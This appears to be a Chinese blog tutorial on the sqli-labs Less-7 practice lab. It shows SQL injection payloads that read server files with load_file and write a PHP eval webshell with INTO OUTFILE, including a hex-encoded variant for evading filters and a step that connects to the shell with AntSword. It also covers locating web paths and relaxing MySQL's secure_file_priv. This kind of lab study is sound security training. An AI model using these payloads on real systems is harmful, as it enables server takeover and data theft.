基于sqli-labs Less-7 的sql高权读写注入详解
1. MySQL高权限读写简介
1.1 前置知识
数据库的高权用户对服务器上的文件进行读取写入操作,从而可以进行写入一句话木马来获得服务器权限或者读取服务器上的配置型文件等注入行为。
select load_file ('d:/w.txt'); # 读取w.txt
select 'xxx' into outfile 'd:/1.txt'; # 将xxx写入1.txt,1.txt不存在则自动创建文件
1.2 读写注入示例
字段数判断和注入点判断略,作信息收集看用户名是root后可以尝试高权注入
/?id=1 union select 1,load_file ('d:/w.txt'),3
/?id=1 union select 1,'xxx',3 into outfile 'd:/1.txt'
注意写路径的时候\
的时候要写两个,前一个为转义字符,作用是避免被认为是换行而报错,或者直接写/
即可。
1.3 写入后门代码
给出写入后门代码示例
/?id=1 union select 1,'<?php eval($_POST[x]);?>',3 into outfile '当前网站路径/1.php'
如果存在过滤,可以把<?php eval($_POST[x])?>
用hex编码一下,不用单引号,即:
/?id=1 union select 1,3c3f706870206576616c28245f504f53545b2778275d293f3e,3 into outfile '当前网站路径/1.php'
1.4 路径获取
load_file
与outfile
函数都需要绝对路径,获取网站绝对路径的方法有以下几种:
- load_file常用路径直接读取配置文件,得到网站路径
- 扫描网站目录,尝试寻找遗留/phpinfo.php的文件
- 输入错误信息,看是否会报错返回路径
- 爆破路径
2. 黑盒测试
2.1 判断闭合类型
判断闭合类型为((''))
/?id=1' and '1'='1 You are in
/?id=1' --+ 报错
/?id=1') and ('1')=('1 You are in
/?id=1') --+ 报错
/?id=1')) and (('1'))=(('1 You are in
/?id=1')) --+ You are in
2.2 写入后门代码
写入后门代码
注意
- 如果你的靶场搭在物理机上,后门代码会被windows扫描并删除,并不是上传失败
- 如果上传失败,可能是secure_file_priv配置问题,请参考第三模块
/?id=1')) union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php'--+
之后利用蚁剑连接后门即可
3. secure_file_priv限制
3.1 secure_file_priv简介
高版本的MYSQL添加了一个新的特性secure_file_priv
,secure_file_priv
是 MySQL 中用于限制文件操作的系统变量,主要用于控制和限制数据库服务器对文件的访问权限。具体来说,它限制 LOAD DATA INFILE
、SELECT INTO OUTFILE
等语句的操作范围,确保数据库文件操作只能在特定的目录中进行,进而增强系统的安全性。
linux
/etc/my.cnf
[mysqld]
secure_file_priv=
win
my.ini
[mysqld]
secure_file_priv=
1. secure_file_priv="" 代表对文件读写没有限制
2. secure_file_priv="NULL" 代表不能进行文件读写
3. secure_file_priv="d :/phpstudy /mysql/data" 代表只能对该路径下文件进行读写
3.2 修改secure_file_priv配置
在做Less-7时,出现读写注入失败的问题,可能就是由于secure_file_priv
禁止了读写
想要知道你的secure_file_priv设置,执行以下sql语句:
SHOW VARIABLES LIKE 'secure_file_priv';
若需要修改secure_file_priv,可以在phpstudy_pro\Extensions\MySQL5.7.26\my.ini
的[mysqld]
模块将它修改为无限制,如果没有secure_file_priv项,可以自行写入。完成后重启mysql服务,应该可以正常解题了。
宇宙安全声明
本博客所提供的内容仅供学习与交流,旨在提高网络安全技术水平,谨遵守国家相关法律法规,请勿用于违法用途,博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。如果您对文章内容有疑问,可以留言私信。
基于sqli-labs Less-7 的sql高权读写注入详解的更多相关文章
- SQL Server 执行计划操作符详解(2)——串联(Concatenation )
本文接上文:SQL Server 执行计划操作符详解(1)--断言(Assert) 前言: 根据计划,本文开始讲述另外一个操作符串联(Concatenation),读者可以根据这个词(中英文均可)先幻 ...
- 基于OpenCL的深度学习工具:AMD MLP及其使用详解
基于OpenCL的深度学习工具:AMD MLP及其使用详解 http://www.csdn.net/article/2015-08-05/2825390 发表于2015-08-05 16:33| 59 ...
- BM算法 Boyer-Moore高质量实现代码详解与算法详解
Boyer-Moore高质量实现代码详解与算法详解 鉴于我见到对算法本身分析非常透彻的文章以及实现的非常精巧的文章,所以就转载了,本文的贡献在于将两者结合起来,方便大家了解代码实现! 算法详解转自:h ...
- SQL中CONVERT()函数用法详解
SQL中CONVERT函数格式: CONVERT(data_type,expression[,style]) 参数说明: expression 是任何有效的 Microsoft® SQL Server ...
- SQL Server 执行计划操作符详解(3)——计算标量(Compute Scalar)
接上文:SQL Server 执行计划操作符详解(2)--串联(Concatenation ) 前言: 前面两篇文章介绍了关于串联(Concatenation)和断言(Assert)操作符,本文介绍第 ...
- 常用经典SQL语句大全完整版--详解+实例 (存)
常用经典SQL语句大全完整版--详解+实例 转 傻豆儿的博客 http://blog.sina.com.cn/shadou2012 http://blog.sina.com.cn/s/blog_84 ...
- Linq实战 之 Linq to Sql及Entity Framework操作详解
Linq实战 之 Linq to Sql及Entity Framework操作详解 一:linq to db的框架 1. linq to sql 2. linq to ado.net entity f ...
- 常用经典SQL语句大全完整版--详解+实例 《来自网络,很全没整理,寄存与此》
常用经典SQL语句大全完整版--详解+实例 下列语句部分是Mssql语句,不可以在access中使用. SQL分类: DDL—数据定义语言(CREATE,ALTER,DROP,DECLARE) DML ...
- 基于XMPP的即时通信系统的建立(二)— XMPP详解
XMPP详解 XMPP(eXtensible Messaging and Presence Protocol,可扩展消息处理和现场协议)是一种在两个地点间传递小型结构化数据的协议.在此基础上,XMPP ...
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
随机推荐
- 减小code体积的书写习惯
1. 减少使用switch 2. 函数内部尽量使用内部变量,减少使用全局变量的次数 void func(void){ uint32_t sysclk; ... // 其他代码 rccClocks.SY ...
- 如何切换git的HEAD分支
git remote set-head origin some_branch
- MPTCP(六):MPTCP测试
MPTCP测试 1.注意事项 测试主机已替换支持MPTCPv1的内核,并且已使能MPTCP,本次测试中使用的内核版本均为5.18.19 测试主机中确保已经正确配置了iproute2 和 mptcpd, ...
- SpringMVC的视图
目录 ThymeleafView 转发视图 重定向视图 视图控制器view-controller SpringMVC中的视图是View接口,视图的作用渲染数据,将模型Model中的数据展示给用户Spr ...
- 【YashanDB知识库】生成迁移报告失败,"报错未知类型错误异常:"
[标题]YMP迁移 [问题分类]迁移报告 [关键字]迁移报告.未知类型错误异常 [问题描述]下载迁移报告时报错"未知类型错误异常:",一长串英文 日志报错: [问题原因分析]jav ...
- 论文阅读翻译之Deep reinforcement learning from human preferences
论文阅读翻译之Deep reinforcement learning from human preferences 关于 首次发表日期:2024-09-11 论文原文链接:https://arxiv. ...
- 合合信息参编“生成式人工智能个人信息保护技术要求系列标准”,助力AI行业可信发展
生成式人工智能作为新一轮的技术革命成果,在赋能千行百业,给经济社会发展带来新机遇的同时,也产生了个人信息泄露.数据安全风险等问题.在此背景下,中国信息通信研究院(简称"中国信通院" ...
- Figma 学习笔记 – Component
参考 Guide to Components in Figma Figma Tutorial: Components - The Basics (Youtube) 定义与用途 Figma 的 Comp ...
- Linux命令每天都要使用,但又太长记不住怎么办?教你1个方法
序言各位好啊,我是会编程的蜗牛,作为java开发者 ,我们肯定会与linux服务器打交道,关于linux服务器的连接工具,可以参考我的文章Tabby,一款老外都在用的 SSH工具,竟然还支持网页操作~ ...
- 音视频入门-6-ffmpeg小实验-从v4l2层获取PC ubuntu摄像头图像
0. 进行本代码实验的前提 确保已经在ubuntu内正确安装了ffmpeg 手把手安装教程可以参考我的另一篇博文<音视频入门-4-ffmpeg命令快速体验音视频开发/ ffmpeg编译过程经历的 ...